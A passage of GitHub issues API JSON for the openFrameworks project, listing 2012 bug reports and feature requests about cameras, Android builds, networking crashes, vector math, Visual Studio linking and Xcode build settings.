screenCoordinate)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-06-26T18:43:23Z","updated_at":"2012-08-04T21:47:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This would use the same method as ofxGrabCam (pull a pixel from the depth buffer and unproject)\nAnybody have any qualms about including this in ofCamera directly?\n\nalso i suggest we add:\n```glEnable(GL_DEPTH_FUNC);``` to ```ofCamera::begin(...)```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1348/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1348","id":5235369,"number":1348,"title":"Android example doesn't run on emulator, but runs on device","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-06-24T12:09:38Z","updated_at":"2012-08-05T21:31:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi!\n\nI've just followed the setup guide for Android/Eclipse/Linux. Everything works using AndroidEmptyExample, when using a real device, but if I use a freshly generated ICS emulator, it does not run successfully. \nLog:\n\n\t\tBUILD SUCCESSFUL\n\t\tTotal time: 15 seconds\n\t\tcp bin/OFActivity-debug.apk bin/androidEmptyExample.apk\n\t\t#if [ \"device\" = \"device\" ]; then\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb uninstall cc.openframeworks.androidEmptyExample\n\t\tFailure\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb install -r bin/androidEmptyExample.apk;\n\t\t2560 KB/s (8222503 bytes in 3.136s)\n\t\t\tpkg: /data/local/tmp/androidEmptyExample.apk\n\t\tFailure [INSTALL_FAILED_CONTAINER_ERROR]\n\t\t#fi\n\t\t/media/windata/Visuals/Coding/android-sdk-linux_x86/platform-tools/adb shell am start -a android.intent.action.MAIN -n cc.openframeworks.androidEmptyExample/cc.openframeworks.androidEmptyExample.OFActivity\n\t\tStarting: Intent { act=android.intent.action.MAIN cmp=cc.openframeworks.androidEmptyExample/.OFActivity }\n\t\tError type 3\n\t\tError: Activity class {cc.openframeworks.androidEmptyExample/cc.openframeworks.androidEmptyExample.OFActivity} does not exist.\n\nThe activity class looks alright (and works with a device, anyway). Any ideas what's wrong here, @arturoc ? Is this even fixable on our side?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1347/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1347","id":5216147,"number":1347,"title":"rename ofImage.grabScreen","user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-22T14:24:37Z","updated_at":"2012-06-23T16:21:52Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"First: Is this method supposed to be in the public API of OF? Becaue it is missing in the reference on the website.\n\nI think we should discuss the naming of this function. OF has methods like `ofGetHeight()` for getting the height of the app and `ofGetScreenHeight()` for getting the height of the screen. Instead `ofImage_::grabScreen`[1] does not grab the screen. I tested this on arch/ubuntu/win7 and it only grabs the app (everything else is black). Maybe it should be renamed to only `ofImage_::grab`. What do you think?\n\n[1] https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/graphics/ofImage.cpp#L907"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1344/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1344","id":5163949,"number":1344,"title":"ofLoadURLAsync crash when no network is available","user":{"login":"gorkacortazar","id":608719,"avatar_url":"https://secure.gravatar.com/avatar/6730aa74ae4edfa08a88f98e1364f5ec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6730aa74ae4edfa08a88f98e1364f5ec","url":"https://api.github.com/users/gorkacortazar","html_url":"https://github.com/gorkacortazar","followers_url":"https://api.github.com/users/gorkacortazar/followers","following_url":"https://api.github.com/users/gorkacortazar/following","gists_url":"https://api.github.com/users/gorkacortazar/gists{/gist_id}","starred_url":"https://api.github.com/users/gorkacortazar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gorkacortazar/subscriptions","organizations_url":"https://api.github.com/users/gorkacortazar/orgs","repos_url":"https://api.github.com/users/gorkacortazar/repos","events_url":"https://api.github.com/users/gorkacortazar/events{/privacy}","received_events_url":"https://api.github.com/users/gorkacortazar/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-20T07:09:34Z","updated_at":"2012-09-26T10:46:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofLoadURLAsync crashes when no network is connected, on windows (codeblocks and vidual studio). Seeing the debugger, crashes when the poco::dnserror is being called.\n\nMy current workaround is to use ofLoadURL(...) in a threaded class, that work as expected (catches the error and logs the network error in the ofx console)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1343/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1343","id":5134626,"number":1343,"title":"ofVec2f could be more dry?","user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-06-18T21:48:19Z","updated_at":"2012-08-01T11:47:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Can you do inline functions inside inline functions? this seems to indicate so\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/math/ofVec2f.h#L706\n\nIf so, in ofVec2f::getPerpendicular, ofVec2f::perpendicular and there are a few calls to \nfloat length = (float)sqrt( x*x + y*y ); \n\nthese can be covered by the ofVec2f::length() function\n\nAlso, do we need both lengthSquared() and squareLength()?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1336/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1336","id":5108991,"number":1336,"title":"ofSoundStream doesn't compile in VS2010 (Release Mode) ","user":{"login":"sloopidoopi","id":248498,"avatar_url":"https://secure.gravatar.com/avatar/69d034865cb1f775bb1e0b47ff0580b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69d034865cb1f775bb1e0b47ff0580b2","url":"https://api.github.com/users/sloopidoopi","html_url":"https://github.com/sloopidoopi","followers_url":"https://api.github.com/users/sloopidoopi/followers","following_url":"https://api.github.com/users/sloopidoopi/following","gists_url":"https://api.github.com/users/sloopidoopi/gists{/gist_id}","starred_url":"https://api.github.com/users/sloopidoopi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sloopidoopi/subscriptions","organizations_url":"https://api.github.com/users/sloopidoopi/orgs","repos_url":"https://api.github.com/users/sloopidoopi/repos","events_url":"https://api.github.com/users/sloopidoopi/events{/privacy}","received_events_url":"https://api.github.com/users/sloopidoopi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":null,"comments":3,"created_at":"2012-06-16T21:56:42Z","updated_at":"2012-06-18T07:02:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I get an \terror LNK2038: Konflikt ermittelt für \"_ITERATOR_DEBUG_LEVEL\": Der Wert \"2\" stimmt nicht mit dem Wert \"0\" in main.obj überein.\t\n\nIn the Linker settings i see that the rtAudioD.lib is used . \nThis is an inherited value.( I don't know where this value is set and how I can change this )\nI'll guess it should be rtAudio.lib instead.\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1334/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1334","id":5105884,"number":1334,"title":"video playback in windows is slow for some users","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2012-06-16T12:17:23Z","updated_at":"2013-02-11T12:16:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://forum.openframeworks.cc/index.php/topic,10053.0\n\nwould be good to investigate this @gameoverhack \n "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1329/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1329","id":5086630,"number":1329,"title":"command-line projectGenerator needs to be able to reconfigure OF-root path","user":{"login":"pierrep","id":392160,"avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","url":"https://api.github.com/users/pierrep","html_url":"https://github.com/pierrep","followers_url":"https://api.github.com/users/pierrep/followers","following_url":"https://api.github.com/users/pierrep/following","gists_url":"https://api.github.com/users/pierrep/gists{/gist_id}","starred_url":"https://api.github.com/users/pierrep/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pierrep/subscriptions","organizations_url":"https://api.github.com/users/pierrep/orgs","repos_url":"https://api.github.com/users/pierrep/repos","events_url":"https://api.github.com/users/pierrep/events{/privacy}","received_events_url":"https://api.github.com/users/pierrep/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-06-15T05:41:09Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I accidentally set the wrong OF root path, and ended up having to dig in the source code and then the config files to figure out how to reset it. Would be good for the command-line version to have an option to reset the root path. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1328/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1328","id":5075658,"number":1328,"title":"xcode 4 doesn't put obj files near the xcode project","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-14T17:41:40Z","updated_at":"2012-06-14T17:41:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there seems to be conflicting settings for \"per configuration intermediate build files\", and so therefore, there's no \"build\" folder with obj files near the project. This is an issue on some systems which require admin access to the dev folder, where those objs are winding up. it's also just harder to track build / obj files with this newer default approach of apple. \n\nwe should get xcode 4 to operate more like xcode 3 if we can. \n\nI believe it's it's related to this forum post: \n\nhttp://forum.openframeworks.cc/index.php?topic=10064.new;topicseen#new"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1326/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1326","id":5054867,"number":1326,"title":"project makefiles should trigger OF lib rebuild if necessary.","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":0,"created_at":"2012-06-13T19:10:28Z","updated_at":"2012-06-13T19:10:28Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the makefiles of projects would trigger a (re)build of the OF library if it is necessary (changed files, no library, etc).\nThis would also solve issues like in [this forum thread](http://forum.openframeworks.cc/index.php/topic,9962). It would also save having to manually rebuild the library if you just use plain make files without an IDE/project, for quick tests etc.\n\nIs this technically feasible, @arturoc ?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1322/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1322","id":5010394,"number":1322,"title":"ofxOpenALSoundPlayer ReferenceDistance and MaxDistance not behaving as expected","user":{"login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","html_url":"https://github.com/armadillu","followers_url":"https://api.github.com/users/armadillu/followers","following_url":"https://api.github.com/users/armadillu/following","gists_url":"https://api.github.com/users/armadillu/gists{/gist_id}","starred_url":"https://api.github.com/users/armadillu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/armadillu/subscriptions","organizations_url":"https://api.github.com/users/armadillu/orgs","repos_url":"https://api.github.com/users/armadillu/repos","events_url":"https://api.github.com/users/armadillu/events{/privacy}","received_events_url":"https://api.github.com/users/armadillu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"